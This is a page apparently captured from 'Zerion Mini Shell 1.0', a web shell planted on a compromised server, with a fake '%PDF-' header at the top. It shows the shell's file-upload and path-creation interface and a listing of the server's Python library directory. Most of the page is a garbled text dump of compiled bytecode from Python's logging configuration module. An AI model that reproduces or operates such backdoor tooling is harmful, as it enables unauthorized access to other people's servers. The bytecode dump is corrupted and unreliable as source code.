%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/logging/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/logging/__pycache__/config.cpython-38.pyc

U

pa@sNdZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZmZdZ
ejZdad+ddZdd	Zd
dZdd
ZddZddZddZddZedejZddZGdddeZGdddeeZ Gddde!eZ"Gdd d e#eZ$Gd!d"d"eZ%Gd#d$d$e%Z&e&Z'd%d&Z(e
dfd'd(Z)d)d*Z*dS),a
Configuration functions for the logging package for Python. The core package
is based on PEP 282 and comments thereto in comp.lang.python, and influenced
by Apache's log4j system.

Copyright (C) 2001-2019 Vinay Sajip. All Rights Reserved.

To use, simply 'import logging' and log away!
N)ThreadingTCPServerStreamRequestHandleriF#TcCsddl}t||jr|}n*||}t|dr:||n
||t|}t	z tt||}t
|||W5t
XdS)aD
    Read the logging configuration from a ConfigParser-format file.

    This can be called several times from an application, allowing an end user
    the ability to select from various pre-canned configurations (if the
    developer provides a mechanism to present the choices and load the chosen
    configuration).
    rNreadline)configparser
isinstanceZRawConfigParserConfigParserhasattrZ	read_fileread_create_formatterslogging_acquireLock_releaseLock_clearExistingHandlers_install_handlers_install_loggers)Zfnamedefaultsdisable_existing_loggersrcp
formattershandlersr*/usr/local/lib/python3.8/logging/config.py
fileConfig3s	



rc	Csl|d}|d}t|}|D]F}|d|}zt||}Wq tk
rdt|t||}Yq Xq |S)z)Resolve a dotted name to a global object..r)splitpop
__import__getattrAttributeError)nameusedfoundnrrr_resolveUs

r#cCsttj|SN)mapstrstrip)Zalistrrr
_strip_spacescsr(cCs|dd}t|siS|d}t|}i}|D]v}d|}|j|dddd}|j|d	ddd}|j|d
ddd}tj}||d}	|	rt|	}||||}
|
||<q2|S)
zCreate and return formattersrkeys,zformatter_%sformatTN)rawfallbackdatefmtstyle%class)lenrr(getr	Formatterr#)rflistrZformZsectnamefsdfsZstlc
class_namefrrrr
fs$

r
c
Cs^|dd}t|siS|d}t|}i}g}|D]}|d|}|d}|dd}zt|tt}Wn ttfk
rt	|}YnX|dd	}	t|	tt}	|d
d}
t|
tt}
||	|
}d|kr|d}|
|t|r|||t|tj
jr2|d
d}
t|
r2|||
f|||<q6|D]\}}|||q@|S)zInstall and return handlersrr)r*z
handler_%sr1	formatterargs()kwargsz{}leveltarget)r2rr(r3evalvarsrr	NameErrorr#setLevelsetFormatter
issubclassr
MemoryHandlerappendZ	setTarget)rrhlistrZfixupshandsectionklassfmtr=r?hr@rAtrrrr|sB





rcCsTtj}|D]D}|jj|}||krHt|tjsN|tjg|_d|_	q
||_
q
dS)a
    When (re)configuring logging, handle loggers which were in the previous
    configuration but are not in the new configuration. There's no point
    deleting them as other threads may continue to hold references to them;
    and by disabling them, you stop them doing any logging.

    However, don't disable children of named loggers, as that's probably not
    what was intended by the user. Also, allow existing loggers to NOT be
    disabled if disable_existing is false.
    TN)rrootmanager
loggerDictrPlaceHolderrENOTSETr	propagatedisabled)existing
child_loggersdisable_existingrQlogloggerrrr_handle_existing_loggerssr]cCs|dd}|d}tt|}|d|d}tj}|}d|krX|d}|||jddD]}||qf|d}	t	|	r|	d}	t|	}	|	D]}
|
||
qt|jj
}|g}|D](}|d	|}|d
}
|jddd
}t|
}|
|krv||
d}|
d}t	|}t	|}||krl||d||kr`||||d7}q2||
d|kr|d}|||jddD]}||q||_d|_|d}	t	|	r|	d}	t|	}	|	D]}
|
||
qqt|||dS)zCreate and install loggersloggersr)r*rQZlogger_rootr@Nrz	logger_%squalnamerV)r-rr)rlistr(removerrQrEr
removeHandlerr2
addHandlerrRrSr)sortZgetint	getLoggerindexrIrVrWr])rrrZZllistrLrQr[r@rOrJrKrXrYZqnrVr\iprefixedpflennum_existingrrrrsd











rcCs.tjttjddtjdd=dS)z!Clear and close existing handlersN)r	_handlersclearshutdown_handlerListrrrrrs
rz^[a-z_][a-z0-9_]*$cCst|}|std|dS)Nz!Not a valid Python identifier: %rT)
IDENTIFIERmatch
ValueError)smrrrvalid_idents
ruc@s"eZdZdZdddZddZdS)	ConvertingMixinz?For ConvertingXXX's, this mixin class provides common functionsTcCsB|j|}||k	r>|r |||<t|tttfkr>||_||_|Sr$)configuratorconverttypeConvertingDictConvertingListConvertingTupleparentkey)selfr~valuereplaceresultrrrconvert_with_key"s
z ConvertingMixin.convert_with_keycCs0|j|}||k	r,t|tttfkr,||_|Sr$)rwrxryrzr{r|r})rrrrrrrx.s
zConvertingMixin.convertN)T)__name__
__module____qualname____doc__rrxrrrrrvs
rvc@s,eZdZdZddZd	ddZd
ddZdS)rzz A converting dictionary wrapper.cCst||}|||Sr$)dict__getitem__rrr~rrrrrCszConvertingDict.__getitem__NcCst|||}|||Sr$)rr3rrr~defaultrrrrr3GszConvertingDict.getcCst|||}|j||ddSNF)r)rrrrrrrrKszConvertingDict.pop)N)N)rrrrrr3rrrrrrz@s
rzc@s"eZdZdZddZdddZdS)	r{zA converting list wrapper.cCst||}|||Sr$)rarrrrrrrQszConvertingList.__getitem__cCst||}||Sr$)rarrx)ridxrrrrrUszConvertingList.popN)r)rrrrrrrrrrr{Osr{c@seZdZdZddZdS)r|zA converting tuple wrapper.cCst||}|j||ddSr)tuplerrrrrrr[szConvertingTuple.__getitem__N)rrrrrrrrrr|Ysr|c@seZdZdZedZedZedZedZ	edZ
ddd	Zee
Zd
dZdd
ZddZddZddZddZddZdS)BaseConfiguratorzI
    The configurator base class which defines some useful defaults.
    z%^(?P<prefix>[a-z]+)://(?P<suffix>.*)$z^\s*(\w+)\s*z^\.\s*(\w+)\s*z^\[\s*(\w+)\s*\]\s*z^\d+$ext_convertcfg_convert)extZcfgcCst||_||j_dSr$)rzconfigrw)rrrrr__init__ts
zBaseConfigurator.__init__c		Cs|d}|d}z^||}|D]H}|d|7}zt||}Wq$tk
rj||t||}Yq$Xq$|WStk
rtdd\}}td||f}|||_	|_
|YnXdS)z`
        Resolve strings to objects using standard import and attribute
        syntax.
        rrr`NzCannot resolve %r: %s)rrimporterrrImportErrorsysexc_inforr	__cause__
__traceback__)	rrsrr r!Zfragetbvrrrresolvexs"



zBaseConfigurator.resolvecCs
||S)z*Default converter for the ext:// protocol.)rrrrrrrszBaseConfigurator.ext_convertcCs|}|j|}|dkr&td|n||d}|j|d}|r|j|}|rn||d}nd|j|}|r|d}|j|s||}n2zt	|}||}Wnt
k
r||}YnX|r||d}qHtd||fqH|S)z*Default converter for the cfg:// protocol.NzUnable to convert %rrzUnable to convert %r at %r)WORD_PATTERNrqrrendrgroupsDOT_PATTERN
INDEX_PATTERN
DIGIT_PATTERNint	TypeError)rrrestrtdrr"rrrrs4
zBaseConfigurator.cfg_convertcCst|ts$t|tr$t|}||_nt|tsHt|trHt|}||_nt|tsvt|trvt|dsvt|}||_nVt|t	r|j
|}|r|}|d}|j
|d}|r|d}t||}||}|S)z
        Convert values to an appropriate type. dicts, lists and tuples are
        replaced by their converting alternatives. Strings are checked to
        see if they have a conversion format and are converted if they do.
        _fieldsprefixNsuffix)rrzrrwr{rar|rrr&CONVERT_PATTERNrq	groupdictvalue_convertersr3r)rrrtrr	converterrrrrrxs0


zBaseConfigurator.convertcsjd}t|s||}dd}fddD}|f|}|rf|D]\}}t|||qP|S)z1Configure an object with a user-supplied factory.r>rNcsi|]}t|r||qSrru.0krrr
<dictcomp>sz5BaseConfigurator.configure_custom.<locals>.<dictcomp>)rcallableritemssetattr)rrr8propsr?rrrrrrconfigure_customs


z!BaseConfigurator.configure_customcCst|trt|}|S)z0Utility function which converts lists to tuples.)rrarrrrras_tuples
zBaseConfigurator.as_tupleN)rrrrrecompilerrrrrrstaticmethodrrrrrrrxrrrrrrr`s"




"rc@s^eZdZdZddZddZddZdd	Zd
dZdd
Z	dddZ
dddZdddZdS)DictConfiguratorz]
    Configure logging using a dictionary-like object to describe the
    configuration.
    cCs|j}d|krtd|ddkr2td|d|dd}i}tzn|r|d|}|D]}|tjkrtd|qdz6tj|}||}|d	d
}|r|t	|Wqdt
k
r}	ztd||	W5d
}	~	XYqdXqd|d|}
|
D]N}z|||
|d
Wqt
k
rF}	ztd||	W5d
}	~	XYqXq|dd
}|rz||d
Wn.t
k
r}	ztd|	W5d
}	~	XYnXn|dd
}t
|d|}
|
D]P}z||
||
|<Wn2t
k
r}	ztd||	W5d
}	~	XYnXq|d|}|D]P}z|||||<Wn2t
k
rp}	ztd||	W5d
}	~	XYnXq$|d|}g}t|D]v}z |||}||_|||<WnNt
k
r}	z.dt|	jkr||ntd||	W5d
}	~	XYnXq|D]Z}z |||}||_|||<Wn2t
k
r`}	ztd||	W5d
}	~	XYnXq
tj}t|jj}|g}|d|}
|
D]}||kr||d}|d}t|}t|}||kr||d
||kr||||d7}q||z|||
|Wn2t
k
rV}	ztd||	W5d
}	~	XYnXqt||||dd
}|rz||Wn.t
k
r}	ztd|	W5d
}	~	XYnXW5tXd
S)zDo the configuration.versionz$dictionary doesn't specify a versionr`zUnsupported version: %sincrementalFrzNo handler found with name %rr@NzUnable to configure handler %rr^TzUnable to configure logger %rrQzUnable to configure root loggerrrz Unable to configure formatter %rfilterszUnable to configure filter %rtarget not configured yetr) rrrrrrr
r3rlrE_checkLevel	Exceptionconfigure_loggerconfigure_rootrconfigure_formatterconfigure_filtersortedconfigure_handlerrr&rrIrQrarRrSr)rergr2rbr])rrr
EMPTY_DICTrrhandlerZhandler_configr@rr^rQrZrrZdeferredrXrYrhrirjrkrrr	configures





zDictConfigurator.configurec

Csd|krr|d}z||}Wqtk
rn}z2dt|kr>|d|d<||d<||}W5d}~XYqXnl|dd}|dd}|dd}|d	d}|stj}	nt|}	d
|kr|	||||d
}n|	|||}|S)z(Configure a formatter from a dictionary.r>z'format'r+rNNr.r/r0r1validate)rrr&rr3rr4r#)
rrfactoryrterNZdfmtr/cnamer8rrrrs*z$DictConfigurator.configure_formattercCs.d|kr||}n|dd}t|}|S)z%Configure a filter from a dictionary.r>rr<)rr3rFilter)rrrrrrrrs

z!DictConfigurator.configure_filtercCsX|D]N}z||jd|Wqtk
rP}ztd||W5d}~XYqXqdS)z/Add filters to a filterer from a list of names.rzUnable to add filter %rN)	addFilterrrrr)rZfiltererrr:rrrradd_filterss
zDictConfigurator.add_filtersc
st}dd}|r\z|jd|}Wn0tk
rZ}ztd||W5d}~XYnXdd}dd}dkrd}t|s||}|}nd}	||	}
t|
tj	j
rFd	krFz>|jd
d	}t|tjs
|td|d	<Wn6tk
rB}ztdd	|W5d}~XYnXnZt|
tj	jrtd
krt|d
d
<n,t|
tj	jrdkr|dd<|
}dd}fddD}
z|f|
}WnLtk
r}z,dt|kr|
d|
d<|f|
}W5d}~XYnX|r.|||dk	rH|t||rZ||||r|D]\}}t|||qh|S)z&Configure a handler from a dictionary.r;NrzUnable to set formatter %rr@rr>r1rArrzUnable to set target handler %rZmailhostaddressrcsi|]}t|r||qSrrrrrrrsz6DictConfigurator.configure_handler.<locals>.<dictcomp>z'stream'streamZstrm)rrrrrrrrrGrrrHrHandlerupdaterZSMTPHandlerrZ
SysLogHandlerr&rFrErrrr)rrZconfig_copyr;rr@rr8rrrMthrr?rrrrrrrrs~






z"DictConfigurator.configure_handlercCsX|D]N}z||jd|Wqtk
rP}ztd||W5d}~XYqXqdS)z.Add handlers to a logger from a list of names.rzUnable to add handler %rN)rdrrrr)rr\rrOrrrradd_handlerss
zDictConfigurator.add_handlersFcCs|dd}|dk	r$|t||s~|jddD]}||q6|dd}|rb||||dd}|r~|||dS)zU
        Perform configuration which is common to root and non-root loggers.
        r@Nrr)r3rErrrrcrr)rr\rrr@rOrrrrrcommon_logger_configsz%DictConfigurator.common_logger_configcCs6t|}|||||dd}|dk	r2||_dS)z.Configure a non-root logger from a dictionary.rVN)rrfrr3rV)rrrrr\rVrrrrs

z!DictConfigurator.configure_loggercCst}||||dS)z*Configure a root logger from a dictionary.N)rrfr)rrrrQrrrrszDictConfigurator.configure_rootN)F)F)F)
rrrrrrrrrrrrrrrrrrs$	?

rcCst|dS)z%Configure logging using a dictionary.N)dictConfigClassrrrrr
dictConfig&srcsDGdddt}Gdddt}Gfdddtj||||S)au
    Start up a socket server on the specified port, and listen for new
    configurations.

    These will be sent as a file suitable for processing by fileConfig().
    Returns a Thread object on which you can call start() to start the server,
    and which you can join() when appropriate. To stop the server, call
    stopListening().

    Use the ``verify`` argument to verify any bytes received across the wire
    from a client. If specified, it should be a callable which receives a
    single argument - the bytes of configuration data received across the
    network - and it should return either ``None``, to indicate that the
    passed in bytes could not be verified and should be discarded, or a
    byte string which is then passed to the configuration machinery as
    normal. Note that you can return transformed bytes, e.g. by decrypting
    the bytes passed in.
    c@seZdZdZddZdS)z#listen.<locals>.ConfigStreamHandlerz
        Handler for a logging configuration request.

        It expects a completely new logging configuration and uses fileConfig
        to install it.
        cSsVz|j}|d}t|dkrtd|d}|j|}t||krb|||t|}q>|jjdk	rz|j|}|dk	r|d}z,ddl}|	|}t
|tstt
|WnJtk
rt|}zt|Wntk
rtYnXYnX|jjr|jjWn2tk
rP}z|jtkr@W5d}~XYnXdS)z
            Handle a request.

            Each request is expected to be a 4-byte length, packed using
            struct.pack(">L", n), followed by the config file.
            Uses fileConfig() to do the grunt work.
            z>LrNzutf-8)
connectionrecvr2structunpackserververifydecodejsonloadsrrAssertionErrorrrioStringIOr	traceback	print_excreadysetOSErrorerrnoRESET_ERROR)rconnchunkZslenrrfilerrrrhandleFs8





z*listen.<locals>.ConfigStreamHandler.handleN)rrrrrrrrrConfigStreamHandler?src@s0eZdZdZdZdedddfddZddZdS)	z$listen.<locals>.ConfigSocketReceiverzD
        A simple TCP socket-based logging config receiver.
        r`	localhostNcSs>t|||f|td|_td|_||_||_dS)Nrr`)	rrrrabortr
timeoutrr)rhostportrrrrrrrtsz-listen.<locals>.ConfigSocketReceiver.__init__cSs`ddl}d}|sT||jggg|j\}}}|r<|t|j}tq|	dS)Nr)
selectsocketfilenorZhandle_requestrrrr
Zserver_close)rrrZrdwrexrrrserve_until_stopped~s

z8listen.<locals>.ConfigSocketReceiver.serve_until_stopped)rrrrZallow_reuse_addressDEFAULT_LOGGING_CONFIG_PORTrrrrrrConfigSocketReceiverms

rcs&eZdZfddZddZZS)zlisten.<locals>.Servercs4t|||_||_||_||_t|_dSr$)	superrrcvrhdlrrr	threadingEventr)rr	r
rr)Server	__class__rrrszlisten.<locals>.Server.__init__cSsZ|j|j|j|j|jd}|jdkr0|jd|_|jt|a	t
|dS)N)rrrrrr`)r	rr
rrZserver_addressrrr	_listenerr
r)rrrrrruns

zlisten.<locals>.Server.run)rrrrr
__classcell__rr
)rrr
sr
)rrrThread)rrrrrrrlisten+s.rcCs*tztrdt_daW5tXdS)zN
    Stop the listening server which was created with a call to listen().
    r`N)rrr
rrrrrr
stopListeningsr)NT)+rrrrZlogging.handlersrrrrrsocketserverrrrZ
ECONNRESETrrrr#r(r
rr]rrrIrpruobjectrvrrzrar{rr|rrrrrrrrrr<module>sH

"%W!
Az

Zerion Mini Shell 1.0